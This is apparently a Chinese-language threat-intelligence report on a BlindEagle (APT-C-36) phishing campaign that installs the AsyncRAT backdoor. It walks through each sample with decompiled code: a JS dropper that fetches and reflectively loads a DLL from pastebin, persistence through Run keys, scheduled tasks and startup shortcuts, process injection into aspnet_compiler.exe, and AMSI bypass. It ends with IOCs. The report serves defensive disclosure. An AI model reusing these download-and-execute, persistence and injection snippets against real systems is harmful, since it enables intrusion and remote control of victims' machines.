概述
瑞星威胁情报平台
捕获到BlindEagle
组织近期的一个攻击事件。攻击者通过邮件发送给受害者一个加密的压缩包。压缩包解压之后是一个与压缩包同名的JS文件,当用户双击JS文件后会从远程服务器上下载第一阶段DLL,启动PowerShell反射加载第一阶段DLL,该DLL会下载解码得到第二阶段的DLL(注射器),同时根据传入的参数中的地址下载AsyncRAT
后门,接着使用第二阶段的DLL把后门注入到aspnet_compiler.exe
中执行,根据国内外多家安全厂商披露,通过将本次攻击行动感染链与BlindEagle
组织过往感染链的对比分析,将本次捕获到的攻击行动归属于BlindEagle
组织具有高可信度。
BlindEagle
(APT-C-36)是一个疑似来自南美洲的APT组织,主要攻击目标是哥伦比亚境内,以及南美的一些地区。该组织自2018年以来一直活跃,主要针对哥伦比亚政府机构以及金融部门、石油工业和专业制造业的重要公司。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 初始访问 |
T1566 网络钓鱼 |
使用带有密码保护的RAR附件的鱼叉式网络钓鱼电子邮件 |
TA0002 执行 |
T1059 命令和脚本解释器 |
执行JS脚本和调用PowerShell执行命令 |
TA0003 持久化 |
T1547 启动或登录自动执行 |
创建注册表项实现开机自启,或者创建计划任务实现持久化,或者在Windows的Startup文件夹中创建一个快捷方式实现开机自启 |
TA0005 防御规避 |
T1055 进程注入 |
把下载的ShellCode反射注入到aspnet_compiler.exe进程中执行 |
TA0005 防御规避 |
T1497 虚拟化/沙盒规避 |
检测是否在沙盒,虚拟机环境中 |
TA0007 环境发现 |
T1083 枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 环境发现 |
T1518 收集软件信息 |
使用WMI来获取杀毒软件的信息 |
TA0009 收集信息 |
T1056 捕获用户输入 |
获取受害机的键盘记录 |
TA0009 收集信息 |
T1113 屏幕截图 |
对受害机屏幕进行截图 |
TA0010 外传信息 |
T1041 通过C2通道外传 |
接收控制指令与上传数据共用同一条通道 |
TA0011 指挥与控制 |
T1071 应用层协议 |
使用HTTPS协议与服务器进行通信 |
TA0040 影响 |
T1529 系统关闭/重启 |
攻击者会关闭/重新启动系统 |
攻击事件详情
攻击者向目标用户发送一封通知用户参加法外调解听证会的邮件,并且诱惑受害者点击链接下载附件文件。下图为诱惑邮件内容:
攻击流程
样本分析
1. 初始文档:Detalles Informativos Caso Referencia Nroº-9883893289-23.js
字段 | 内容 |
---|---|
原始文件名 | Detalles Informativos Caso Referencia Nroº-9883893289-23.js |
文件大小 | 66.21 KB |
文件MD5 | 3369f161a4e160aa0647e581042fe6a6 |
文件类型 | JS |
攻击者通过电子邮件投递一个加密的压缩包,里面有一个和压缩包同名的js脚本文件,当运行js脚本文件后,会从远程服务器hxxps://pastebin.com/raw/Mccv2Yq1
下载.NET写的DLL,然后调用NnIaUq方法,实现反射加载DLL,并传入参数(URL反序:0kj86IxPLsIx/daolnwod/moc.oietsap//:spxxh
,WScript.ScriptFullName
,XwordApp
,000234
,1
,Roaming
):
function dLsgD(WOpBc)
{
var jXALS = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
jXALS.open ("GET", WOpBc, false);
jXALS.send ();
return jXALS.responseText
}
var JsAEq
JsAEq = ("0kj86IxPLsIx/daolnwod/moc.oietsap//:sptth");
var FmNKe
//下载数据
FmNKe = dLsgD(dLsgD("https://pastebin.com/raw/Mccv2Yq1"));
var FCeFi
FCeFi = "$bFjDJ = '" + FmNKe + "';";
//base64解码下载的数据得到第一阶段的DLL
FCeFi = FCeFi + "[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ );";
//调用NnIaUq方法,并传入参数
FCeFi = FCeFi + "[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke($null, [object[]] ('" + JsAEq + "' , '" + WScript.ScriptFullName + "' , " + "'XwordApp'" + ", '000234', '1', 'Roaming' " + " ) );";
//启动PowerShell反射加载第一阶段DLL
var ViXBt = new ActiveXObject("Shell.Application");
ViXBt.ShellExecute("powershell", " -command " + FCeFi , "", "open" , 0);
2. 第一阶段DLL:CdWDdB.dll
字段 | 内容 |
---|---|
原始文件名 | CdWDdB.dll |
文件大小 | 13.00 KB |
文件MD5 | e5eb80ad4887a35204feb394094952de |
文件类型 | DLL |
刚进来样本会检索参数lixoo
中值,若lixoo中
包含4,则会检测是否在虚拟机环境中运行,若在虚拟机中则终止自身运行。
foreach (Process process in Process.GetProcesses())
{
bool flag3 = process.ProcessName.ToUpper().Contains("vmtoolsd".ToUpper()) | process.ProcessName.ToUpper().Contains("VirtualBox".ToUpper());
if (flag3)
{
return;
}
}
若lixoo
值中包含1,会执行PowerShell脚本在当前用户的注册表中创建一个自启动项,在用户登录时自动执行样本,以实现持久化,并且在执行时窗口样式设置为隐藏。
string contents = string.Concat(new string[]
{
"$teste = New-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"",
lixo,
"\" -Value \"Powershell.exe -WindowStyle hidden \"\"& '",
Path.GetTempPath(),
"xx2.vbs' \"\"\" -PropertyType \"String\" -force; {$teste}"
});
File.WriteAllText(Path.GetTempPath() + "xx1.ps1", contents);
Interaction.Shell("powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file " + Path.GetTempPath() + "xx1.ps1", AppWinStyle.Hide, false, -1);
Interaction.Shell(string.Concat(new string[]
{
"powershell.exe Copy-Item '",
merda,
"' -Destination '",
Path.GetTempPath(),
"'"
}), AppWinStyle.Hide, false, -1);
若lixoo
值中包含2,使用schtasks.exe
来创建一个名为XnZYnL
的计划任务,该任务将在每隔一定时间(由参数Wie
的值决定)执行一次,执行的操作是运行一个指定的目录下的VBS脚本(xx.vbs
)。
try
{
Interaction.Shell(string.Concat(new string[]
{
"powershell.exe Copy-Item '",
merda,
"' -Destination '",
Path.GetTempPath(),
"'"
}), AppWinStyle.Hide, false, -1);
string text2 = "Set objShell = CreateObject(\"Wscript.shell\")";
text2 = string.Concat(new string[]
{
text2,
"\r\nobjShell.run \"powershell -WindowStyle hidden -command wscript.exe //b //nologo '",
Path.GetTempPath(),
fileInfo.Name,
"'\" ,0, false"
});
Interaction.Shell(string.Concat(new string[]
{
"cmd.exe /c schtasks.exe /create /tn \"",
XnZYnL,
"\" /tr \"wscript.exe //b //nologo '",
Path.GetTempPath(),
"xx.vbs'\" /sc minute /mo ",
Wie,
" /f & exit"
}), AppWinStyle.Hide, false, -1);
File.WriteAllText(Path.GetTempPath() + "xx.vbs", text2);
}
若lixoo
值中包含3,则使用PowerShell命令将merda
文件拷贝到系统临时目录。创建一个快捷方式文件,将该文件放置在用户的启动文件夹中,使得在用户登录后,该快捷方式会自动运行PowerShell命令并执行之前拷贝到临时目录的VBS脚本。
Interaction.Shell(string.Concat(new string[]
{
"powershell.exe Copy-Item '",
merda,
"' -Destination '",
Path.GetTempPath(),
"'"
}), AppWinStyle.Hide, false, -1);
try
{
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", ""));
object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[]
{
Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + lixo + ".lnk"
}, null, null, null));
NewLateBinding.LateSet(objectValue2, null, "TargetPath", new object[]
{
"powershell"
}, null, null);
NewLateBinding.LateSet(objectValue2, null, "Arguments", new object[]
{
"-WindowStyle hidden -command wscript.exe //b //nologo '" + Path.GetTempPath() + fileInfo.Name + "'"
}, null, null);
NewLateBinding.LateSet(objectValue2, null, "IconLocation", new object[]
{
"imageres.dll, 31"
}, null, null);
NewLateBinding.LateSet(objectValue2, null, "WindowStyle", new object[]
{
1
}, null, null);
NewLateBinding.LateCall(objectValue2, null, "Save", new object[0], null, null, null, true);
}
然后从hxxps://pastedin.com/raw/Z5e79zhw
下载文件,把❈❈❈
替换为A并解码得到第二阶段DLL文件(该DLL是一个注射器),同时也会下载另一份恶意代码,解码之后得到一个后门程序,接着调用第二阶段DLL的KoAOkX.MXuuJb.WwQTZc
方法,其传入的参数分别为被注入的目标程序aspnet_compiler.exe
和需要注入的后门程序。
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string expression = "Whz97e5Z/war/moc.nibetsap//:sptth";
WebClient webClient = new WebClient();
webClient.Encoding = Encoding.UTF8;
string text3 = webClient.DownloadString(webClient.DownloadString(Strings.StrReverse(expression)));
text3 = Strings.StrReverse(text3);
text3 = text3.Replace("❈❈❈", "A");
string text4 = Strings.StrReverse(_5);
WebClient webClient2 = new WebClient();
string text5 = string.Empty;
bool flag11 = true;
bool flag12 = flag11 == text4.ToUpper().Contains("pastebin".ToUpper());
if (flag12)
{
text5 = new WebClient().DownloadString(text4);
text5 = new WebClient().DownloadString(text5);
text5 = Strings.StrReverse(text5);
}
else
{
flag12 = flag11;
if (flag12)
{
text5 = new WebClient().DownloadString(text4);
text5 = Strings.StrReverse(text5);
}
}
string str = Strings.StrReverse("krowemarF\\TEN.tfosorciM\\swodniW\\:C");
str += Strings.StrReverse("91303.0.4v\\");
AppDomain.CurrentDomain.Load(Convert.FromBase64String(text3)).GetType("KoAOkX.MXuuJb").GetMethod("WwQTZc").Invoke(null, new object[]
{
str + "\\aspnet_compiler.exe",
Convert.FromBase64String(text5)
});
}
3. 第二阶段DLL:KoAOkX.dll
字段 | 内容 |
---|---|
原始文件名 | KoAOkX.dll |
文件大小 | 12.00 KB |
文件MD5 | c812fe1d9209739cfc047d54a479d0dd |
文件类型 | DLL |
备注 | 内存加载 |
使用ReadProcessMemory
,VirtualAllocEx
,WriteProcessMemory
等API函数将后门程序注入到aspnet_compiler.exe
程序中执行。
case 10:
{
int num6;
int num7;
bool flag6 = !MXuuJb.ReadProcessMemory_API(process_INFORMATION.ProcessHandle, num5 + 8, ref num6, 4, ref num7);
num2 = 11;
continue;
}
case 15:
{
int num4;
num8 = MXuuJb.VirtualAllocEx_API(process_INFORMATION.ProcessHandle, num4, length, 12288, 64);
num2 = 16;
continue;
}
case 20:
{
if (flag11)
{
goto Block_15;
}
int num7;
int bufferSize;
bool flag12 = !MXuuJb.WriteProcessMemory_API(process_INFORMATION.ProcessHandle, num8, data, bufferSize, ref num7);
num2 = 21;
continue;
}
4. 最终后门AsyncRAT:Client.exe
字段 | 内容 |
---|---|
原始文件名 | Client.exe |
文件大小 | 47.50 KB |
文件MD5 | 81e7f516f000360070fcabddaa843975 |
文件类型 | EXE |
病毒名 | Backdoor.AsyncRAT!1.C3F4 |
该样本是AsyncRAT
后门,在Main函数中可以看到该样本的主要功能:初始化设置,创建互斥体,样本安装,防止屏幕息屏,连接C2服务器
public static void Main()
{
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
{
Thread.Sleep(1000);
}
// 初始化设置
if (!Settings.InitializeSettings())
{
Environment.Exit(0);
}
try
{
if (Convert.ToBoolean(Settings.An_ti))
{
Anti_Analysis.RunAntiAnalysis();
}
//创建互斥体
if (!MutexControl.CreateMutex())
{
Environment.Exit(0);
}
if (Convert.ToBoolean(Settings.Anti_Process))
{
AntiProcess.StartBlock();
}
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
{
ProcessCritical.Set();
}
if (Convert.ToBoolean(Settings.In_stall))
{
//样本安装
NormalStartup.Install();
}
//防止屏幕息屏
Methods.PreventSleep();
if (Methods.IsAdmin())
{
Methods.ClearSetting();
}
Amsi.Bypass();
}
}
在设置初始化函数中,会获取一段base64的硬编码,对其进行解码之后再用AES256进行解密得到port
,Hosts
,Version
,MIX
,HWID
,SSL
通讯证书,证书签名,最后使用Settings.VerifyHash
函数对证书进行验证。
try
{
Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));
Settings.aes256 = new Aes256(Settings.Key);
Settings.Por_ts = Settings.aes256.Decrypt(Settings.Por_ts);
Settings.Hos_ts = Settings.aes256.Decrypt(Settings.Hos_ts);
Settings.Ver_sion = Settings.aes256.Decrypt(Settings.Ver_sion);
Settings.In_stall = Settings.aes256.Decrypt(Settings.In_stall);
Settings.MTX = Settings.aes256.Decrypt(Settings.MTX);
Settings.Paste_bin = Settings.aes256.Decrypt(Settings.Paste_bin);
Settings.An_ti = Settings.aes256.Decrypt(Settings.An_ti);
Settings.Anti_Process = Settings.aes256.Decrypt(Settings.Anti_Process);
Settings.BS_OD = Settings.aes256.Decrypt(Settings.BS_OD);
Settings.Group = Settings.aes256.Decrypt(Settings.Group);
Settings.Hw_id = HwidGen.HWID();
Settings.Server_signa_ture = Settings.aes256.Decrypt(Settings.Server_signa_ture);
Settings.Server_Certificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certifi_cate)));
result = Settings.VerifyHash();
}
样本会判断当前是否为管理员权限,如果是则会创建计划任务来实现自启动,否则会选择创建一个注册表项以在每次系统启动时执行二进制文件,实现持久化之后将自身写入到安装目录之下,并在安装目录下写入和执行.bat的脚本。
if (Methods.IsAdmin())
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
// /c schtasks /create /f /sc onlogon /rl highest /tn
Arguments = string.Concat(new string[]
{
Encoding.Default.GetString(Convert.FromBase64String("L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g")),
"\"",
Path.GetFileNameWithoutExtension(fileInfo.Name),
"\" /tr '\"",
fileInfo.FullName,
"\"' & exit"
}),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
}
else
{
//SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Encoding.Default.GetString(Convert.FromBase64String("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==")), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
}
}
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(fileName);
stream.Write(array, 0, array.Length);
Methods.ClientOnExit();
string text = Path.GetTempFileName() + ".bat";
using (StreamWriter streamWriter = new StreamWriter(text))
{
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("timeout 3 > NUL");
streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
streamWriter.WriteLine("CD " + Path.GetTempPath());
streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
}
使用WMI
来获取系统上安装的杀毒软件的信息
public static string Antivirus()
{
string str;
try
{
string empty = string.Empty;
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(string.Concat("\\\\", Environment.MachineName, "\\root\\SecurityCenter2"), "Select * from AntivirusProduct"))
{
foreach (ManagementObject managementObject in managementObjectSearcher.Get())
{
empty = string.Concat(empty, managementObject["displayName"].ToString(), "; ");
}
}
empty = Methods.RemoveLastChars(empty, 2);
str = (!string.IsNullOrEmpty(empty) ? empty : "N/A");
}
catch
{
str = "Unknown";
}
return str;
}
通过SetThreadExcutionState
函数实现进程保护,防止屏幕息屏
public static void PreventSleep()
{
try
{
Methods.SetThreadExecutionState((NativeMethods.EXECUTION_STATE)2147483651U);
}
catch
{
}
}
指令
该后门是通过服务器下发模块插件来实现远程命令执行的,其功能插件指令列表如下:
指令 | 功能 |
---|---|
Chat.dll |
聊天 |
FileManager.dll |
文件管理 |
FileSearcher.dll |
文件搜索 |
Options.dll |
重启电脑 |
Extra.dll |
弹出对话框,访问指定的Url,关闭Defender |
Miscellaneous.dll |
USB传播,DDOS 攻击,shell代码执行等 |
LimeLogger.dll |
键盘记录 |
ProcessManager.dll |
进程管理 |
RemoteCamera.dll |
远程相机 |
RemoteDesktop.dll |
远程桌面 |
SendFile.dll |
发送文件 |
SendMemory.dll |
内存加载 |
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
3369f161a4e160aa0647e581042fe6a6 e5eb80ad4887a35204feb394094952de c812fe1d9209739cfc047d54a479d0dd 81e7f516f000360070fcabddaa843975
-
URL
hxxps://pastebin.com/raw/Mccv2Yq1 hxxps://pastedin.com/raw/Z5e79zhw
-
Domain
promotores14.duckdns.org